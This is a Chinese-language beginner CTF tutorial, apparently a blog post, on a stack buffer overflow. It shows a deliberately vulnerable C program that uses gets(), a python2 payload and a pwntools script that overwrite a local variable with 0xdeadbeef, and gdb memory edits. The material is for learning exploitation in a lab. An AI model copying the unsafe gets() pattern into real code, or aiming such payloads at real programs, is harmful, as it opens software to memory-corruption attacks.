简介

“pwn"这个词的源起以及它被广泛地普遍使用的原因,源自于魔兽争霸某段讯息上设计师打字时拼错而造成的,原先的字词应该是"own"这个字,因为 ‘p’ 与 ‘o’ 在标准英文键盘上的位置是相邻的,PWN 也是一个黑客语法的俚语词,是指攻破设备或者系统。发音类似"砰”,对黑客而言,这就是成功实施黑客攻击的声音,而在ctf比赛里,pwn是对二进制漏洞的利用

获取文件信息

下载这个github库,进入02文件夹

https://github.com/Crypto-Cat/CTF/tree/main/pwn/binary_exploitation_101

使用checksec工具可以查看程序更详细的信息


这也和上一个文件相似,从上到下依次是

32位程序
部分RELRO,基本上所有程序都默认的有这个
没有开启栈保护
未启用nx,nx:数据执行
没有pie,意思是程序的内存空间不会被随机化
有读,写,和执行的段,意思是我们可以在程序里写入shellcode

覆盖堆栈上的变量

现在我们执行程序看看,随意输入一些字符后,程序就退出了

然后我们在数入长一点的字符,可以看到,原来的12345678已经变成大写字母A的ascii码了

然后我们打开程序的源代码看看

#include <stdio.h>
#include <string.h>
#include <stdlib.h>void do_input(){   int key = 0x12345678;   //定义了一个变量key,key的值为0x12345678char buffer[32];    //定义了一个变量,名为buffer,有32个字节的缓冲区printf("yes? ");    //输出字符串yes?fflush(stdout);   //清除缓冲区gets(buffer);   //获取我们输入的字符,并存入到buffer变量里if(key == 0xdeadbeef){    //如果key = 0xdeadbeefprintf("good job!!\n");printf("%04x\n", key);fflush(stdout);    //成功破解程序}else{   //否则失败printf("%04x\n", key);printf("...\n");fflush(stdout);}
}int main(int argc, char* argv[]){do_input();return 0;
}

这里我们分析了源码,就没必要进行静态分析了

通过分析源代码,我们知道了缓冲区的字节为32个,意思是我们只需要输入32个字符就能填满此程序的缓冲区,多余的字符则会覆盖key原本的值

我们输入32个字符看看,然后再输入一些不同的值

可以看到,key的原本的值被覆盖成b的ascii码了

从上面分析的源代码可以知道,key的值必须等于十六进制的0xdeadbeef才能输出正确的字符,这种十六进制无法用键盘输入,需要用到python

在这里还有一个知识点是在x86架构里,读取地址是由低到高的,十六进制0xdeadbeef就要从最后一个开始写

python2 -c "print ('A'*32+'\xef\xbe\xad\xde')"

用linux管道符连接程序,可以看到,我们覆盖了key原本的值后成功的破解了程序

动态调试

我们用gdb对程序进行动态调试

gdb overwrite

然后查看程序里调用的函数

info functions


然后查看主函数do_input的汇编代码

disassemble do_input

在这里,key的值和我们输入的值做了对比

我们在这里下一个断点

b *0x080491e0

然后运行程序,随意输入一些值

之后程序会自动运行到断点处停下

这里将ebp寄存器里的值减去了0xc转换成10进制就是12和0xdeadbeef做了对比,我们可以看一下这个地址的值

x $ebp - 0xc

现在还是原来的值0x12345678

我们可以直接修改这个地址的值

set *0xffffd38c = 0xdeadbeef

然后再次查看这个地址的值

x $ebp - 0xc

可以看到已经被修改成功了,现在我们输入n继续执行程序

成功破解程序

pwntools脚本

from pwn import *   //导入pwntools模块io = process('./overwrite')    //运行程序
io.sendline(b'A' * 32 + p32(0xdeadbeef))   //程序运行后发送指定的字符串,格式为32位
print(io.recvall().decode())   //接收输出并且解码

总结

有什么不会或者是错误的地方的可以私信我,看到必回

PWN入门(3)覆盖堆栈上的变量相关推荐

  1. 【Web狗自虐系列1】Pwn入门之初级ROP

    0x0 栈介绍 栈式一种典型的后进先出的数据结构,其操作主要有压栈(push)与出栈(pop)两种操作 压栈与出栈都是操作的栈顶 高级语言在运行时都会被转换为汇编程序,在汇编程序运行过程中,充分利用了 ...

  2. c# 定位内存快速增长_CTF丨Linux Pwn入门教程:针对函数重定位流程的相关测试(下)...

    Linux Pwn入门教程系列分享已到尾声,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  3. Linux pwn入门教程——CTF比赛

    Linux pwn入门教程(1)--栈溢出基础 from:https://zhuanlan.zhihu.com/p/38985585 0x00 函数的进入与返回 要想理解栈溢出,首先必须理解在汇编层面 ...

  4. 看雪pwn入门--基础篇

    1.pwn理论基础 小菜: 什么是溢出 概念:在计算机中,当要表示的数据超出计算机使用的数据表示范围时,产生数据的溢出 原因:使用非类型安全的语言入C/C++等            以不可靠的方式存 ...

  5. java 堆栈 对象_在Java中,哪些对象放在堆栈上,哪些放在堆上?

    对于 Java函数中的语句: Xxx xxx = new Xxx() { public Abc abc(final Writer out) { return new SomeFunction(out) ...

  6. java让对象分配在栈上_java – Hotspot何时可以在堆栈上分配对象?

    我做了一些实验,以便了解Hotspot何时可以进行堆栈分配.事实证明,它的堆栈分配比基于available documentation的预期要有限得多.Choi"Escape Analysi ...

  7. PWN入门系列教程~(1)

    PWN入门系列教程~(1) 先来说下学习路线 大致分为以下几个部分 那么什么是PWN呢? 栈 函数调用栈 寄存器 函数调用栈的经典内存布局 先来说下学习路线 大致分为以下几个部分 学习基础:去学习一些 ...

  8. python3 爬虫实例_【实战练习】Python3网络爬虫快速入门实战解析(上)

    原标题:[实战练习]Python3网络爬虫快速入门实战解析(上) 摘要 使用python3学习网络爬虫,快速入门静态网站爬取和动态网站爬取 [ 前言 ] 强烈建议:请在电脑的陪同下,阅读本文.本文以实 ...

  9. 墨者靶场 入门:WebShell文件上传漏洞分析溯源(第1题)

    墨者靶场 入门:WebShell文件上传漏洞分析溯源(第1题) 题目 背景介绍 实训目标 解题方向 解题步骤 题目 背景介绍 某公司内部资料分享平台存在一个文件上传页面,为了保证服务器的安全,现在安全 ...

最新文章

  1. mysql中3张表如何关联查询_mysql三张表关联查询
  2. webmin远程命令执行漏洞(cve-2019-15107)深入分析
  3. 局域网通过专线上网的维护经验点滴
  4. 练习:要对字符串进行长度(由短到长)排序。
  5. C语言构建一个链表以及操作链表
  6. md5加密+盐方式一
  7. android过滤数字,android – GPS卫星数量和位置过滤
  8. iOS内存管理系列之一:对象所有权与引用计数
  9. 获取当前时间的天、周、月、季度、半年度、年度开始和结束时间
  10. 在小程序端获取数据库所有符合条件的数据(使用分页突破20条限制)
  11. AcWing1091.理想的正方形(单调队列DP)
  12. h3c交换机怎么设置虚拟服务器,H3C交换机配置 | 如何实现两个网段主机与外部通信...
  13. 【剑指offer】Python、java,C++三种语言同时实现
  14. java后台提示信息弹出框
  15. 51计数器(理论+实践【代码】)
  16. 如何修复dns服务器,如何修复DNS?DNS是什么?如何设置DNS?
  17. ThoughtWorks HomeWork
  18. Learn Git Branching 学习笔记(Git远程仓库篇)
  19. 如果GOOGLE退出中国,我们怎么办???
  20. 室内定位程序_如何设计室内AR导航系统?

热门文章

  1. HBuilderX 终端显示空白问题
  2. 二十四节气-小寒。文案、海报分享,小寒料峭 年味渐浓。
  3. “强者恒强”,零食江湖来到新赛点
  4. Flash Socket 的基本通讯协议流程例子
  5. ksy是谁_MOON,sky他们是谁啊?
  6. 【目标检测】YOLO系列——YOLOv1详解
  7. Asp.net Core 6.0 使用EF DB First 连接mysql
  8. 从外包到React核心团队成员
  9. 【钉钉-场景化能力包】钉钉群机器人助力工单管理
  10. acer 4750 Fn+亮度键(左右方向键亮度调节)无效问题的解决办法